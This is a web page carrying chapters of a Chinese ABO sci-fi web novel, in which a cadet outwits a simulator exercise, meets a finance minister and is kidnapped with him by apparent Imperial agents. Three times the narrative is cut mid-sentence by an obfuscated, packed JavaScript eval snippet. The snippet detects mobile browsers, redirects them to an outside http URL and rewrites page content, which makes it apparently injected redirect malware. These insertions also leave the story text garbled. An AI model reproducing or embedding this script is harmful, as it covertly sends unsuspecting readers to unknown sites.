操场了寂静了几秒钟后,教官开口问湛左: “起初模拟器给出的背景设定是前线要塞只有一个连,却要抵挡帝国一个营的攻击,你怎么敢上来先假装投降?就不怕手底下有人信以为真,动摇军心?” 湛左摇头说:“不会,我看了手下士兵的介绍。” 他在模拟器里的身份是一名低级指挥官。这点就和地球上的游戏一样不讲逻辑,游戏里你把角色的脸捏成老头,NPC对你的称呼也是少侠,实战模拟器里湛左断了一条腿,依旧在前线浴血奋战。 教官紧皱着眉问:“介绍怎么了?” B级战役是最简单的,可供活动的地图只有巴掌大,因此系统给出的信息也很少。教官早就看过士兵们的介绍了,他能肯定其中没有什么特殊信息或隐藏剧情。 “‘沙赫瘫倒在被炮火炸烂的机甲残骸里,维塔利斯仍然坐在他的身边。他们总是这样,在星舰的温室盆栽下、在休息区的板凳上、在死人堆前,一坐就是一下午,什么也不说,什么也不问。’” 湛左突然开口,竟然把模拟战役里的人物简介背诵出来了,“‘有好几次,沙赫想要谈起自己的爸爸和妹妹,但维塔利斯只用一道视线就阻止了他,让他什么都说不出来。今天,他们可能要失败了,沙赫不想死,他想过逃跑,可是他的爸爸和妹妹又要怎么办? “‘这一次,他无论如何都打算问问维塔利斯的意见。他转过头,张开嘴,看向自己的身侧,结果那里却空无一人。 “‘他这才想起,维塔利斯死于昨天。’” 操场在他话音落下后变得更安静了,还有点阴森森的。 “这段写得挺好的,我就多看了几遍。”湛左若无其事地说,“简介说明了两件事,一是我所在的连在过去半年损失惨重,二是他们都是没有退路的老兵。我看过那些资料,没有人敢背叛,因为一旦真的投降,他们的家属会在联邦国内背负耻辱。” 这一刻的教官看上去既想骂他,又想称赞他。 不过教官憋住了。他忍辱负重地说:“然后呢?你假作投降,为什么觉得兵力比你多一倍的帝国军会跳入陷阱?” 湛左:“人都有侥幸心理。就算联邦兵力不足,也会是块难啃的骨头,比起磨到最后两败俱伤,他们当然更愿意相信我们这边是真的不想打了。” 教官:“……就算是这样,帝国军内依然有聪明人,不会轻举妄动——除非受到了场外的挑拨。我最想不通的是,你怎么知道帝国军队的指挥官好争功,且和麾下二把手素有矛盾?这些设定凭你的身份根本接触不到吧?” 湛左用拇指摩挲了一下手杖扶手,像是有些不好意思地说:“因为我开挂了。” 教官瞬间眯起眼睛:“嗯??” 湛左把教官钓成翘嘴后才继续说:“我根据模拟战役的地形和NPC配置猜测它的制作人大概率参考了发生在联邦历336年的人马座战争,当时天鹅星团附近的一场著名的小型战役里,就有一个好争功的指挥官,以及一个和他有矛盾的二把手。” 新生列队里顿时又一次响起了“嘶哈嘶哈”的抽气声。 包括休姆在内,很多人都渐渐反应过来,听这场对话的意思是,湛左赢了! 而且还不是用常规手段,开着机甲或星舰打赢的! 这思路也太离奇了…… 教官慎重地问:“你有没有想过,万一你猜错了会有什么后果?” 湛左愉快地说:“后果是我的体能训练课假条再也批不下来?” 队伍里响起几道捧场的笑声,又在教官杀人的目光中消失不见了。 湛左迎着教官咄咄逼人的视线,收起笑容,镇定地说道:“退一步说,就算这是一场真实的战役,投降的决定是我做的,承担责任的人也只有我一人而已。” 教官点点头,说道:“记住你说的话,按照约定,你的课程免修我给你批,你可以走了。” ** 蒋嘉茂听到他身边的常永荣不敢置信喃喃自语的声音: “这不可能……这不科学……他只是个新生,还不是Alpha……” 听到常永荣说湛左“不是个Alpha”时,蒋嘉茂不经意间蹙了下眉,眼里闪过一丝厌烦的情绪。 他掩饰性地垂下眼帘,温声问常永荣:“这样就算赢了?” “是吧,虽说是钻空子,但也算赢了。” 碎碎念半天以后,常永荣总算收起怀疑人生的情绪,找回了属于老兵的沉稳,“看来能当上新生代表的人终究有两把刷子,星海军校还是当年那个人才辈出的星海军校!” 他显得很高兴,一副意气风发的样子。蒋嘉茂在心底嗤笑一声,指着湛左问:“那他为什么还没走?难道是教官不肯给他批假条?” 常永荣脸色一黑:“说好的事情哪能说变就变?这就是教官的不对了,走,我们过去看看。” 他拉住蒋嘉茂的手臂往前走,手劲极大,蒋嘉茂一时没能挣开。他也不是很想挣扎,主要是对湛左正在做的事感到好奇。 ……结果走近后,两人才发现,湛左正压着教官写由学校规定的极为繁复的免修申请表。 教官平平无奇的脸因为痛苦而变得不再平平无奇:“老子都说了有我担保不用写这玩意,你他妈有什么毛病?” “俗话说工作不留痕等于不工作,假条也是。”一丝不苟的湛左好脾气地劝他,“既然赌输了,就把表填了吧,不用着急,我去给您倒杯水喝。” 教官:“……” 常永荣:“……” 蒋嘉茂:“……” 旁人看了怕不是还得指责教官一句:你咋欺负残疾人、让人家给你端茶送水呢? 湛左在众人复杂的注视中迈着轻飘飘的步伐走到饮水机旁。 “轻飘飘”是个写实形容词,因为他这会晕VR的症状还没好,走路重心不稳,站到饮水机前方时,他忽地眼前一花,身体大幅前倾,差点摔倒,但就在湛左凭借卓越的平衡性自己站稳之前,一双手毫无征兆地从斜后方伸出,搀了他一把。 湛左闻到一股不知名的、甜中发苦的花香,起初他还以为是哪家香水店的招牌,下一秒才反应过来,那是来者的信息素。 他回过头,想要看悄无声息接近他又扶住他的人是谁,却只看到一道匆匆转身的背影。 这人穿着一身剪裁得当的深色定制西装,头小肩宽腰细腿长,因而显得非常有气场,但湛左没看清他的脸,只看到他黑发的发尾处夹杂着几缕银丝。他头上戴着一顶宽檐帽,感受到湛左的注视后,男人抬起手,用力往下压了压帽檐,同时本就仓促的脚步又加快了几分。 星海军校真是太神奇了,不禁有星际好室友,还有星际好路人。 这样下去联邦很快就能申请宇宙和/平/奖了吧? 湛左若有所思地站在原地,望着男人仿佛心里有鬼似地大步走远了。 …… 开学第二天清早体能训练课上发生的事很快传开了。 不是所有新生都在一起上体能训练课,人那么多,教官也带不过来。每个学生都要在开学前选择自己的大课时间表,巧合的是,和湛左同一宿舍的几个舍友都不在一起,所以湛左和教官进行友好交流的时候,其他几个人并未在现场。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203248|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们很快就能从不同渠道听说这场奇闻轶事了。 湛左又一次成为了星海军校的风云人物,此前他只是在新生之间出名,现在部分老生也知道他了。 那可是体能训练课的免修诶,隔壁学哥学姐都馋哭了! 据说还有人在课上跃跃欲试地问教官:“我要是打赢了B级战役,是不是也能申请免修?” 教官冷笑一声,说:“我打断你的腿!” 学生头一缩,不敢再问,后来才听闻湛左的“个人隐疾”,于是产生了迷思:教官的意思到底是“再废话打断你的腿”、还是“断腿之后就能免修”了呢……? 很难说教官的这句双关威胁是不是出于个人恩怨,但他与旁人谈起湛左时,评价倒还算公正: “是个脑子不太正常的天才,培养了不亏。” 听者,也即星海军校的副校长碰着茶杯纳闷道:“他伤的不是腿吗?” “是腿,但腿的问题不值一提。”教官说,“等他有钱了,可以去定制义肢,行动完全不会受到影响,可是脑子,唉,脑子……” 说着说着,教官再度痛苦面具,口中嘟囔着副校长听不懂的话:“我有八百年没被人逼着写文件了……” 副校长觉得有趣,笑道:“看来他很擅长让别人按照他的想法行动。” “等着瞧吧。”教官说,“他要是再成长下去,以后遭到迫害的肯定不止我一个人。” 副校长不以为意,哈哈大笑,教官在他雄浑的笑声中又想起一件事: “对了,实战模拟时,你们的新生代表似乎表现出了一点精神力受损的症状。” “嗯?”副校长不笑了,奇怪道,“但他这个年纪,以前应该接触不到实战模拟器吧?你是不是看错了?” “也许吧。”教官也不确定,“你说的对,没准他是晕血呢,以后有机会了我再观察观察。” 副校长说:“你不怕他报复你了?” “我什么时候怕他了??”教官梗着脖子说,“而且大丈夫哪能那么小心眼,我们之间的仇怨在我第一个被他迫害以后,就算是一笔勾销了!” …… 其实教官不知道,一笔勾销是不可能一笔勾销的,而且被迫害这种事也讲究先来后到,受害者早就不止他一人了。 ——只是另一名受害者还不晓得自己是受害者。 格兰瑟姆·卡戎听说蒋嘉茂有空闲了,立刻催促李五展开行动:“现在能安排湛左和财政大臣见面了吧?” 跟小孩子过家家似的。李五斟酌了一下,说道:“能了,小少爷,您稍等。” 他不仅对少爷一人负责,手头还有更重要的工作,于是转头把格兰瑟姆交代的事外包了出去。 接到任务的人是活跃在首都太阳湾的一名Omega交际花,他对着语焉不详目的也不详的任务要求沉思了半天,灵机一动,心想: 一直以来都只在军队活动的卡戎家族,是不是打算通过给丧偶的财政大臣找对象的方式进军政坛了? 要不谁会安排18岁男大偶遇位高权重的内阁大臣啊! 交际花越想越兴奋,八卦的心,颤抖的手,举着星网终端赌咒发誓说保证完成任务。 失败的灵机一动让他忽视了寥寥无几的任务佣金,和“偶遇”两个字。 他转头设计了约会一条龙,自掏腰包预定了联邦首都太阳湾最昂贵的一间餐厅的包间,并且想方设法地给蒋嘉茂递送了邀请函。 与此同时,格兰瑟姆·卡戎在晚餐时间踱步到餐桌旁,居高临下地对湛左说: “我已经安排好了,你马上就可以见到大臣了。” 9. 第九章 邀请函以一种巧妙的方式被传递到了蒋嘉茂手中。 假如有人站在上帝视角目睹了这一切的话,高低得称赞交际花一句“好手段”。 首先,他本人在这件事中完全没有露面。餐厅包间是以卡戎家族的名义预定的,交际花只付出了钱财,然后深藏功与名。 其次,由于蒋嘉茂过去始终致力于维持深爱亡妻的人设,交际花揣度了一番,认为大臣就算在外面偷吃男大,也不敢做得太明目张胆,于是他很贴心地让餐厅安排了一个私密性最好的包间,并且叮嘱他们尽量低调行事。 最后,餐厅经理的脑电波和交际花对接成功了: 低调的意思就是让人抓不到大臣吃零嘴的证据呗,懂了,在替无良权贵遮掩出轨这件事上我们是专业的,你就放心吧! ——餐厅专门定制了一张看不出半点暧昧的邀请函,其中的内容也和男大不沾边,都是诸如周年庆在即、请大臣前来品鉴新菜肴之类的话术。 什么?你说万一作为正主的蒋嘉茂看不懂暗示怎么办? 不可能,绝对不可能,这种事干过的人闻着味就追上来了,你是信一个左右逢源的政客出淤泥而不染,还是信一个帝国出身的军校生有朝一日能当上联邦执政官? 蒋嘉茂果然闻着味追上去了。 但是和交际花与餐厅经理脑补的不一样,他大头控制小头,压根没往歪门邪道上想。 这家餐厅的地址很有意思。 前些天太阳湾的军区遭到袭击,恐怖分子首领往西南方向跑了,蒋嘉茂闲来无事对着地图一看,指挥中心记录的恐怖分子首领出现的最后地点恰好在餐厅附近。 蒋嘉茂当即决定应邀前去吃顿饭,顺便瞧瞧能不能找出什么线索。 一进餐厅的大门,现任财政大臣便受到了热烈的欢迎。 服务员面带含蓄的笑容,引导他往灯光暧昧的建筑物深处走:“您这边请,我们给您订好了包间,今晚您可以慢慢享受‘美食’,不用担心受人打扰。” 蒋嘉茂脑子里全是恐怖分子,闻言也没多想,嘴上还礼貌地道了声谢。 服务员心说装的人模人样的……搞政治的果真没一个好东西! 他们走进包间,服务员简单介绍了一下两室一厅的房间布局,而后体贴地关上门,留下蒋嘉茂一个人对着设施齐全的套房发呆。 不是,你们饭店的包间怎么还有床和淋浴间呢? 这对吗??? 蒋嘉茂毕竟不是个傻子,愣了几秒钟后也反应过来了,他气得冷笑出声,掏出星网终端就要打举报电话,不过在通讯被接通以前,他又想到,在警卫队到来之前应该先把自己摘出去,免得上了新闻、影响下次选举。 触发政客本能.jpg 真是无妄之灾,他在镜头前表演一百次深情款款,也抵不过旁人对Alpha的一贯认知! 绝望的财政大臣抹了把脸,收起星网终端,抬起一条腿、在套房的窗台旁试探了一下,琢磨着自己是不是能翻墙撤退。 结果膝盖刚挨上窗台边,套房的房门就被敲响了。 昨天白天才给他留下深刻印象的声音在门外,仿佛催命厉鬼一样幽幽说道:“蒋先生,您的下属让我过来见您。” ** 湛左觉得今天是他的幸运日。 虽说在他的不懈努力下,他每天过得都很幸运,但今天称得上格外幸运——属于他的罗马终于要有着落了! 蒋嘉茂不仅答应见他,还将见面地点定在了临近商业中心的豪华大饭店。室友西蒙听说这个消息后,情不自禁地感慨说:“多冒昧啊,原来财政大臣未亡人的设定真是编出来的?” 表面清心寡欲,实则吃野味吃得比谁都欢! 路过他们身边的Beta室友林喜用毫无波动的声线纠正西蒙:“‘未亡人’不能用来形容Alpha。” 文学专业的西蒙不以为然:“时代变了,有什么可讲究的,我就是觉得未亡人比鳏夫好听。以后我要写一本主角是未亡人的18x小说,人设就参考……嗯。” 顾及到林喜在场,西蒙没有把蒋嘉茂的名字说出口。 林喜不理会他们,猫着腰默不作声地回到了自己房间,“砰”地一声关上门。 “怪人。” 西蒙评价完林喜,又对湛左说,“要不你别去见蒋嘉茂了,我看他不怀好意。” 那怎么能行!湛左正色道:“我理解你的想法,但是大臣一向勤政爱民,即便相隔万里,我依旧能感受到他的良苦用心。” 西蒙从他的语调里听出一丝压抑不住的喜悦。 “……” 到底在犯什么病! 西蒙习以为常地梗了一下,挂起假笑说:“那你去吧,用我借你一套衣服穿吗?” 省着被以貌取人的餐厅门卫当成穷要饭的。 “不必了。” 湛左路过西蒙身边时,好似顺势借力般地用力按了一下他的肩膀,意有所指地说,“你真是个好人,西蒙先生。” 被湛左碰到的那只手臂霎时起了一层鸡皮疙瘩。西蒙心想:这是在夸他呢,还是在骂他表里不一……? 室友的想法实在太难看透了。 好玩! 得到了“好玩”评价的湛左随随便便披了件衣服就出门了。他急着建罗马…啊不厕所,因此一路风驰电掣,只比蒋嘉茂晚到了一点点。 餐厅服务员没有在意他的穿着,反倒是在得知他的来意后,看向他的眼神中带着一丝同情,指着走廊尽头的包间说:“大臣在那里面等你,需要帮助的话可以大声喊出来。” 纠结了一下她又说:“往好的方面想,起码中登长得挺帅的。” 湛左被“中登”这个称呼逗乐了,放在平时绝对要和对方聊上几句,可惜人有三急…… 他对女孩微微一笑,说道:“谢谢,你不用管我,我自己去敲门就行。” 待到闲杂人等都离开了,湛左一个小跳步冲到门前,叫人的同时倒打一耙: “蒋先生,您的下属让我过来见您。” 蒋嘉茂头皮发麻! 完蛋了,财政大臣以势压人事件中的“受害人”出现了,对方竟然还是本届星海军校的新生代表! 可是他根本没做安排,到底是哪个政敌用如此下作的手段污蔑他的清白! 这一刻蒋嘉茂紧紧闭着嘴不敢应答,恨不得找个地缝钻进去,等人走了再钻出来。湛左在门外等待了一会,担心好不容易碰面的家猫重新变成野猫,便说道: “大臣之前宁愿打破百年传统也要拒绝和我见面,这会却又单独将我约出来,难道是我做错了什么事,才让阁下以这种方式来羞辱我?” 等会!不是!冤枉! 莫名其妙风评被害的蒋嘉茂受不了了。他对着黑漆漆的窗户玻璃整理了一下着装,摸了摸年纪轻轻就有些发灰的鬓角,抿起嘴唇端正表情,竭力鼓起一身正气,一把拉开大门。 门外的年轻人微微垂着头,衣衫凌乱,脊背却挺得笔直,看着无依无靠。 ……完蛋中的完蛋,蒋嘉茂发现自己还有点心软。 他一肚子义正言辞的辩解和质问吐不出来又吞不回去,只好侧过身,对湛左说:“进来坐吧,如果你觉得不舒服也可以换个地方,我不打算对你做什么,更不是不想见你。” 湛左满心激动,按捺不住地抬头对他笑了笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203249|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这笑容使蒋嘉茂没来由地升起几分危机感,为了避免事态再度脱离掌控,他主动说道:“我知道你是星海军校的新生,名叫湛左。今天谁让你来这见我的?” 是命!是不公平的命指使我来的! 对不起串戏了。 是我自己。 湛左通过蒋嘉茂的发色和他身上的花香认出他就是昨天早上搀扶自己的人。 内阁大臣出现在星海军校并不稀奇,稀奇的是昨天他还不想露脸,今天却约自己在饭店套房这种尴尬的场所见面,这又是因为什么? 简单地思索了一下以后,湛左有了一个大胆的想法: 难道见面地点不是蒋嘉茂定的,他对此也不知情……? 湛左分析着可怜的财政大臣的脸色,片刻之后得出了肯定结论。 是的,这是一个受害人。 看来格兰瑟姆·卡戎虽然好心,却还是太年轻了!一件小事让他办得磕磕绊绊的,还得多加锻炼。 湛左于脑海中在卡戎家Alpha的品控上打了个大大的叉。 然后他坐在套房客厅的沙发上,十指交叉搭在两腿之间,回答蒋嘉茂的问题: “是有人给我的室友传话,我的室友又告诉了我。” 蒋嘉茂问:“你的室友认识传话的人吗?” 湛左摇了摇头。 不等蒋嘉茂追问,他和善地继续说: “能不能一个答案换一个答案,蒋先生?您在开学日那天为什么拒绝参加晚宴呢?” “……” 不明来源的危机感更强烈了。蒋嘉茂将其归结于自己良心未泯,尴尬地张了张嘴,斟酌说道: “我不是有意违约。开学日的晚宴人选早就定好是我,国防大臣和外交大臣不在首都,内政大臣要参加媒体采访,其他几名内阁成员也有各自的事情要忙,只有我提前空出了时间。 “结果就在开学日的前一天,我被分配到了一件必须要尽快处理的工作,所以星海军校问我要不要将宴会延后时,我同意了。” 他抿起嘴唇,犹豫了一下,说道,“抱歉。” 尽管蒋嘉茂没具体说是什么工作,但掌管财政大权的最高级别官员向在校学生道歉,其态度不可谓不诚恳。 然而蒋嘉茂其实并不是个不拘身份平易近人的人,他今天之所以这么好说话,完全是因为他以为湛左是一朵被人推进火坑的小白花。 谁能想到火堆是小白花点起来的呢! 蒋嘉茂好像那个被火燎糊了后背毛的猫,还在喵呜喵呜地试图安慰始作俑者:“至于今天的事,你不用担心,我会调查清楚前因后果,让陷害你我的人付出应有的代价。” “好的。” 湛左善解人意地点头,一字不提自己干了啥,只秉持着冤有头债有主的原则打算找出谁在背后干扰他的计划: “您被分配到的这份紧急工作必须由您来做吗?” 他仰着头充满希冀地提问的样子有种纯粹之人特有的清澈。 蒋嘉茂不禁轻笑一声,说道:“放在平时轮不到我来管,不过最近情况特殊,别人比我更忙。” 话音落下,不知是不是光线影响,湛左眼睛的颜色变深了一些。 他轻声问:“请问,是谁将任务交给您的?” 咦?蒋嘉茂后知后觉地意识到,谈话的主动权竟然落在了湛左手里。 但他依然一边观察着湛左一边回答说:“是内政部的常务次官,道格拉斯·帕丁顿。你认识他……”吗? 话未说完,只听“轰”的一声,隔壁套房有什么东西爆炸了!! 墙壁坍塌的一瞬间,蒋嘉茂以保护者的姿势将湛左拉进怀里,扑倒在了沙发上。 10.第十章 好消息,受到联邦通缉的恐怖分子的下落有眉目了。 坏消息,调查人找到线索的方式是被通缉犯绑架。 此时是首都东南半球的深夜,商业中心附近却灯火辉煌。 太阳湾是“太阳系”中以“太阳”为中心、由内向外的第三颗行星,但这太阳却不是湛左上辈子熟悉的那个太阳,太阳湾也不再是地球了。他头顶漆黑的夜空中悬浮着巨大的、宛若游龙般的轨道环空间站,执政官行宫、内阁议事厅、星际舰队最高指挥部、和外交接待所全都坐落其上。 空间站取代了圆月,向人间撒下淡淡清辉,照亮了湛左身后牌匾上硕大的两个字母: “CP”。 很衬交际花和饭店经理脑补中的湛左与蒋嘉茂要做的事。 但这个CP并不是情侣配对的那个cp,而是西维塔斯省的缩写。CP省是普通市民和工薪阶层的主要居住地,省内遍布着大大小小的商业区,高楼大厦鳞次栉比,地面与空中车道上的车流川流不息,是名副其实的不夜城。 相对的,这里的治安就比其他几大区稍差一点,偶尔能听见警笛声四起,居住地点要是再邪门一些的话,拉开窗帘还能看到警贼大战现场。 不过联邦首都驻扎着军队,姑且算是民风淳朴,脑子正常的人一般不会围观这种事,以免被犯罪分子当成警卫军,再被警卫军当成犯罪分子。 湛左也不想围观——他何止是不想,简直快要抓狂了!! 之前他觉得只要和蒋嘉茂见了面,一切就都尽在掌握之中了,因此也不急着提出修建无性别厕所。 毕竟这种事肯定要寻找合适的切入话题的角度、再循序渐进地进行引导,否则乍一听上去很像是得了精神病。 湛左只是爱上了一盒牛奶,又不是真的失去常识发疯了(?)! 结果好端端的位于联邦首都市中心的高档餐厅居然会发生爆炸……这和世界末日突然降临有什么区别?湛左完全想不通,如此政治正确利国利民功在千秋的计划,在ABO世界实施起来为什么会这么困难?? 系统版本不兼容?! 半个小时前,蒋嘉茂拽着湛左卧倒在沙发上,躲过了在爆炸中飞溅的砖块。下一秒,三个一身黑的蒙面歹徒持枪从原本是面墙、后来是个洞的另一端闯了进来,回头喊道: “找到了,人在这里!!” 他们不是激情犯罪,而是有备而来! 蒋嘉茂当即掏出星网终端拨打紧急报警电话,却被反应更快的蒙面人之一拉扯起来、一枪把星网终端给打烂了。 子弹擦着蒋嘉茂的手飞过去,差点命中老老实实躺在沙发上的湛左。 ABO世界民风淳朴,许多在城市中工作的人一辈子都没见到过类似的景象;湛左上辈子的老家是另一种“民风淳朴”,这对他来说是久违的刺激场面。 他眼睛一眨不眨地看着脑门上方穿透沙发背的弹孔,忍不住在心中哀叹了一声。 要命! 这合理吗? 如果ABO世界有神,他都怀疑神在刻意干扰、不让他达成目标了! “别乱动,”蒙面人威胁说,“再有下次,打的可就不止是终端了。” 很难说如果再给蒋嘉茂一次机会,他在进入饭店套房之后会不会第一时间选择报警,毕竟传出丑闻总比威胁性命强,眼下却是叫天天不应叫地地不灵了。 听到同伴的呼唤后,第四个人快步走进房间,环顾一圈,视线定在湛左身上,经过变声器处理的机械音吐出了冰冷的字句: “不是说蒋嘉茂是独自出门的吗?这里怎么还有一个人?” 他的同伴轻蔑地说:“我们的财政大臣白天在岗位上忙碌了一天了,晚上总得抽空找点乐子。” 人倒霉到了一定程度,就丧失了那种世俗的欲望。蒋嘉茂懒得解释了,手握成拳维持着镇定开口:“我们今天是第一次见面,他什么都不知道,你们若是有事找我,可以先放他走。” 最后进门的蒙面人稀奇道:“他本人还没求我们放了他呢,你着什么急?” 小头控制大头? 但是话又说回来,这个误入凶杀案现场的年轻人是不是有点过于安静了? 蒋嘉茂给人打药了? 四个蒙面人同时扭头看向湛左,蒋嘉茂愣了愣,也跟着看了过去。 湛左缓缓从沙发上支起身体,本想表演出惊慌失措的样子,却被反复无常的计划表折磨得失去了力气,还有一种恶毒的情感在心中涌动。他疲惫地说: “求求你们放了我吧,我确实什么也不知道。” 然而他的语气不管往哪个方向解读,听起来都不像是在求饶。 蒙面人头领盯着他看了半晌,大手一挥,做出决定:“将这两人一起带走!” …… 然后湛左就物理意义上的上了贼船。 他行动不便,蒙面人头领让手下背着他,把他放进窗外悬停着的黑色汽车的后座上,剩下的两个人则压着被搜过身的蒋嘉茂坐在了中排的座位。 也许是餐厅的情趣套房隔音太好了,刚才的爆炸明明闹出了那么大的动静,却没有引起任何人的注意。 湛左坐下之后感觉屁股底下有点湿,鼻腔里还涌动着一股血腥味,他差点以为这伙犯罪分子把他室友林喜塞进了坐垫里,下一刻才意识到那真的是血。 这个认知让湛左的动作停顿了几秒钟。 打起精神做好心理准备后,他猛地回过头,不出意外地看到几具尸体横卧在后备箱里,其中正对的湛左的人脸上,一对失去光泽的眼睛睁得大大的,一错不错地与湛左对视。 ……是餐厅经理和蒋嘉茂的保镖们。 看来这帮凶徒选择了双管齐下,既派人跟踪了蒋嘉茂,又在餐厅这边做了布置。 餐厅经理失去了利用价值后就让人给处理了。 动手的人心狠手辣、干脆利落、半点不曾犹豫,百分百是专业的。 这到底是一群什么人?他们和落在蒋嘉茂头上的任务有关? 蒋嘉茂秉持着相同的想法问道:“你们和前几天袭击军区的人是一伙的?绑架我是为了给你们的同伴报仇?” 开车的蒙面人闷声说:“闭嘴,你未免有点太看得起自己了。” 剿灭贼寇的人是联邦军队,又不是手无缚鸡之力的财政大臣,就算报复也轮不到他。 那你们绑架我做什么?看我顺眼吗? 看我顺眼就算了,还附带一个是为什么?你们看湛左也顺眼? 蒋嘉茂活动了一下被尼龙扎带磨得生疼的手腕,回头瞥了湛左一眼,心想: 难得遇到一个比我更倒霉的。 他一动弹,绑匪们也想起湛左来了,开车的人问:“他为什么那么安静?不会是被Alpha的信息素引导发情了吧?” 副驾驶的人笑嘻嘻地抽抽鼻子,说:“发情期的Omega不是动静更大吗?而且我也没闻到他的信息素味,你们闻到了?” “没。” “我也没有。” 蒙面人们七嘴八舌旁若无人地交流起来,蒋嘉茂越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206149|181245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听越感到不适:先不说他自己的风评问题,当着别人的面讨论对方的发情期和信息素,这与性骚扰有什么区别?! 不过还没等他婉言干涉,湛左就直白地纠正说:“我不是Omega。” 开车的人笑:“这种时候的Omega都说自己不是Omega,然而现实和小说是两码事,O装B哪有那么容易?” 连O装B的小说都看过,还说自己上班没摸鱼,肯定一边杀人一边刷星网的吧。 湛左平淡地说:“你们的性别观太狭隘了,我也不是Beta。” 车里顿时响起此起彼伏的笑声,坐在湛左身边的蒙面人说:“接下来,你不会想说你是个Alpha吧?” 湛左长长吐了口气,缩在座椅靠背和车门的夹角之间,不想接话。 说不通,和这帮沉浸在刻板印象中的人根本说不通。 连蒋嘉茂都没忍住望了湛左一眼,觉得湛左实在不像个Alpha。 可是Alpha应该是什么样的? 强大的、危险的、具有侵略性的…… 不知怎地,蒋嘉茂竟想起了湛左在餐厅套房中向他提问时的语气和眼神,那时的湛左就像一只尚未成长到成熟的野兽,面孔犹带稚嫩,但爪牙已初见锋利。 下一刻,他鬼使神差地问:“你是Alpha?” 车内一静。 湛左默了默,无奈但还是如实回答了:“我不是。” “你在耍我们吗??”司机勃然大怒,“不是Alpha,不是Beta,不是Omega,你还能是什么性别?!” 那可多了去了,你们对人类的想象力和自由的上限一无所知! 湛左保持着“你们说得都对”的微笑,懒得和他们争辩,然而他还是高估了绑匪的道德下限。坐在他身边的人大概是对他的表情感到不满,突然说道: “我们不是从军区搞到了几管人造信息素试剂吗?给他注射一下,就能确定他到底是不是个Omega了。” 人造信息素试剂? 湛左是第一次听说这个名字,刚才还很镇定的蒋嘉茂却反应剧烈地说:“在战场之外使用生化武器是犯法的!!” “理论上研究生化武器也是犯法的,你们不依旧在做么?” 他身边的蒙面人冷淡地说,“给他注射吧,正好验证一下这玩意好不好用,但是用量别太多,免得把人搞死了。” “……” 糟糕。 蒋嘉茂恨不得天上能掉下来块陨石把这帮疯子砸死,他的一只手紧紧攥着自己的另一只手,指尖用力到手骨生疼,绞尽脑汁地试图说服绑匪回心转意: “他才刚成年,也没有得罪过你们,你们何苦为难一个孩子?” “当然是因为我觉得你好像有点喜欢他。” 他身边的绑匪满不在乎地说,“还是你更希望我们给你注射呢?” 蒋嘉茂说:“你们放过他,给我注射吧。” 这下轮到湛左惊讶了。他一连看了蒋嘉茂好几眼,突然问道: “你们一定要使用这个药吗?” 好天真的问题。 绑匪反问:“你说呢?” 湛左又问:“你们和大臣阁下有私怨?” 绑匪:“要说私怨倒也没有,你想拖延时间?” 湛左不理会他,紧接着说道:“你们真的是联邦人吗?该不会是从帝国来的吧?” 话音落下,湛左身边的绑匪戴着面罩看不清表情,但湛左能听见他的呼吸声乱了一瞬。 11.第十一章 蒋嘉茂听得闭上了眼睛。 其实这是一个很容易想通的问题,即如果是联邦公民,那么无论是游行、抗议、暴动、还是揭竿而起,都是有明确诉求的,为了达成这个诉求,他们行事多有顾忌,既不会把事情做绝,也很容易因为一点好处被诏安。 伪装成本国公民的境外势力就是另一码事了。 他们想一出是一出,哪里有乱子往哪跑,哪里有空子往哪钻,闹得越大背后的雇主越高兴。 袭击首都军区就是这么一件引起的骚乱大于实际收益的行为。换句话说,精神正常的人干不出这事,真干了说明有人在替原本不够充分的动机买单。 不过蒋嘉茂虽然想到了这一点,却没有说出口。 因为他不愿意捅破窗户纸、让这群帝国的歹徒破罐子破摔放飞自我,他们在cos联邦人的时候好歹能装装样子…… 然而湛左实在太聪明了,直接在不知前情的情况下猜出了这伙人的真实国籍,还初生牛犊不怕虎地说了出来。 这一刻,惜才之意与对湛左的愧疚感充斥在心中,蒋嘉茂懊恼得无以复加! 毕竟在他的视角下,一切都是因他而起,湛左作为权色交易的受害者赶到餐厅,又被冲自己来的恐怖分子挟走…… 唉,不会是他把霉运传染给对方了吧?今天出门前真应该看看黄历。 蒋嘉茂认真反省的时候,湛左已经和车上的绑匪聊起来了。 绑匪头子维持着高深莫测的姿态说:“小子,不管你是不是Alpha,都足够有胆色,站在个人的立场上,我很欣赏你。” 湛左自动帮他补完后面的话:“但是站在国家的立场上,你不得不对我出手。” 绑匪头子“啪”地一拍座位:“你要是真的聪明,就知道有些话应该看破不说破!否则我们想放了你都找不到理由!” 